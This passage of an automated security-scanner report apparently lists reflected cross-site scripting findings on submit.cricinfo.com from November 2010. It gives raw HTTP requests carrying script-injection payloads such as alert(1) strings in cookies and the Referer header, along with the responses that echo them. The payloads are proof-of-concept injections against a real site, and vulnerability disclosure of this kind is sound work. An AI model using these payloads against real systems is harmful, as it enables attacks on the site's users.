This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Referer: http://www.google.com/search?hl=en&q=c86d5"><script>alert(1)</script>3da25da6da3
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:19:20 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148472
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:19:20
...[SNIP]...
<input type="hidden" name="referer" value="http://www.google.com/search?hl=en&q=c86d5"><script>alert(1)</script>3da25da6da3">
...[SNIP]...
|
2.13. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_cluster cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4754'-alert(1)-'d4807eabfe9 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usaf4754'-alert(1)-'d4807eabfe9; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:39 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148414
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usaf4754'-alert(1)-'d4807eabfe9,
...[SNIP]...
<script language="JavaScript" src="http://ad.doubleclick.net/adj/espncricinfo_global/global;kvcluster=usaf4754'-alert(1)-'d4807eabfe9;kvpt=index;kvsite=global;kvbrand=member_mgmt;tile=1;sz=728x90;ord=' + ord + '?" type="text/javascript">
...[SNIP]...
|
2.14. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_cluster cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbb23"><script>alert(1)</script>73ebe8053a2 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usabbb23"><script>alert(1)</script>73ebe8053a2; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:35 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148489
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usabbb23"><script>alert(1)</scrip
...[SNIP]...
<a href="http://ad.vulnerable.ad.partner/jump/espncricinfo_global/global;kvcluster=usabbb23"><script>alert(1)</script>73ebe8053a2;kvpt=index;kvsite=global;kvbrand=member_mgmt;tile=1;sz=728x90;ord=123456789?" target="_blank">
...[SNIP]...
|
2.15. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_country cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96c17'-alert(1)-'4cef5e4a3c8 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us96c17'-alert(1)-'4cef5e4a3c8;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:13:25 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148330
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us96c17'-alert(1)-'4cef5e4a3c8, cluster: usa,
...[SNIP]...
<script language="javascript" type="text/javascript">
ord=Math.random()*10000000000000000;
cqanswer = 'us96c17'-alert(1)-'4cef5e4a3c8';
</script>
...[SNIP]...
|
2.16. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload e70d8--><script>alert(1)</script>9c7a9f58fdc was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=use70d8--><script>alert(1)</script>9c7a9f58fdc;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:13:28 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148362
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: use70d8--><script>alert(1)</script>9c7a9f58fdc, cluster: usa, created: 2010-11-07 03:13:28 -->
...[SNIP]...
|
2.17. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_cluster cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/poll/cast_vote.html |
Issue detail
The value of the Q_cricinfo_cluster cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9904d'-alert(1)-'218689b8227 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa9904d'-alert(1)-'218689b8227; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:33 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 83531
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa9904d'-alert(1)-'218689b8227,
...[SNIP]...
<script language="JavaScript" src="http://ad.doubleclick.net/adj/espncricinfo_global/global;kvcluster=usa9904d'-alert(1)-'218689b8227;kvpt=index;kvsite=global;kvbrand=ci;tile=1;sz=728x90;ord=' + ord + '?" type="text/javascript">
...[SNIP]...
|
2.18. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_cluster cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/poll/cast_vote.html |
Issue detail
The value of the Q_cricinfo_cluster cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8d00"><script>alert(1)</script>f3bf3b3642a was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usaa8d00"><script>alert(1)</script>f3bf3b3642a; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:29 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 83786
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usaa8d00"><script>alert(1)</scrip
...[SNIP]...
<a href="http://ad.vulnerable.ad.partner/jump/espncricinfo_global/global;kvcluster=usaa8d00"><script>alert(1)</script>f3bf3b3642a;kvpt=index;kvsite=global;kvbrand=ci;tile=1;sz=728x90;ord=123456789?" target="_blank">
...[SNIP]...
|
2.19. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_country cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/poll/cast_vote.html |
Issue detail
The value of the Q_cricinfo_country cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 69125'-alert(1)-'2c7a734ccab was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us69125'-alert(1)-'2c7a734ccab;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:13:09 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 82875
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us69125'-alert(1)-'2c7a734ccab, cluster: usa,
...[SNIP]...
<script language="javascript" type="text/javascript">
ord=Math.random()*10000000000000000;
cqanswer = 'us69125'-alert(1)-'2c7a734ccab';
</script>
...[SNIP]...
|
2.20. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_country cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/poll/cast_vote.html |
Issue detail
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload b19ab--><script>alert(1)</script>f7e4260af65 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ci/content/submit/poll/cast_vote.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=usb19ab--><script>alert(1)</script>f7e4260af65;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:13:12 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 82907
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: usb19ab--><script>alert(1)</script>f7e4260af65, cluster: usa, created: 2010-11-07 03:13:12 -->
...[SNIP]...
|
2.21. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_cluster cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e37c2'-alert(1)-'56441d147b1 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usae37c2'-alert(1)-'56441d147b1; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:17:07 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148532
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usae37c2'-alert(1)-'56441d147b1,
...[SNIP]...
<script language="JavaScript" src="http://ad.doubleclick.net/adj/espncricinfo_global/global;kvcluster=usae37c2'-alert(1)-'56441d147b1;kvpt=index;kvsite=cricinfomembermanagementservice;kvbrand=member_mgmt;tile=1;sz=728x90;ord=' + ord + '?" type="text/javascript">
...[SNIP]...
|
2.22. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_cluster cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3dc2"><script>alert(1)</script>9960f224455 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usaf3dc2"><script>alert(1)</script>9960f224455; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:17:02 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148607
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usaf3dc2"><script>alert(1)</scrip
...[SNIP]...
<a href="http://ad.vulnerable.ad.partner/jump/espncricinfo_global/global;kvcluster=usaf3dc2"><script>alert(1)</script>9960f224455;kvpt=index;kvsite=cricinfomembermanagementservice;kvbrand=member_mgmt;tile=1;sz=728x90;ord=123456789?" target="_blank">
...[SNIP]...
|
2.23. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_country cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6de31'-alert(1)-'329e617c586 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us6de31'-alert(1)-'329e617c586;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:17:53 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148448
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us6de31'-alert(1)-'329e617c586, cluster: usa,
...[SNIP]...
<script language="javascript" type="text/javascript">
ord=Math.random()*10000000000000000;
cqanswer = 'us6de31'-alert(1)-'329e617c586';
</script>
...[SNIP]...
|
2.24. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload 6c213--><script>alert(1)</script>88efb11a633 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us6c213--><script>alert(1)</script>88efb11a633;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:17:56 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148480
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us6c213--><script>alert(1)</script>88efb11a633, cluster: usa, created: 2010-11-07 03:17:56 -->
...[SNIP]...
|
2.25. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_screenname.html [Q_cricinfo_cluster cookie]
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_screenname.html |
Issue detail
The value of the Q_cricinfo_cluster cookie is copied into an HTML comment. The payload e4557--><script>alert(1)</script>390d9742830 was submitted in the Q_cricinfo_cluster cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_screenname.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usae4557--><script>alert(1)</script>390d9742830; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:16:53 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 11716
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usae4557--><script>alert(1)</script>390d9742830, created: 2010-11-07 03:16:53 -->
...[SNIP]...
|
2.26. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_screenname.html [Q_cricinfo_country cookie]
previous
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_screenname.html |
Issue detail
The value of the Q_cricinfo_country cookie is copied into an HTML comment. The payload f68f3--><script>alert(1)</script>2111aaab520 was submitted in the Q_cricinfo_country cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /member_mgmt/content/submit/member_mgmt/user_screenname.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=usf68f3--><script>alert(1)</script>2111aaab520;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:17:09 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 11716
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: usf68f3--><script>alert(1)</script>2111aaab520, cluster: usa, created: 2010-11-07 03:17:09 -->
...[SNIP]...
|
Report generated by XSS.CX at Sat Nov 13 20:11:21 CST 2010.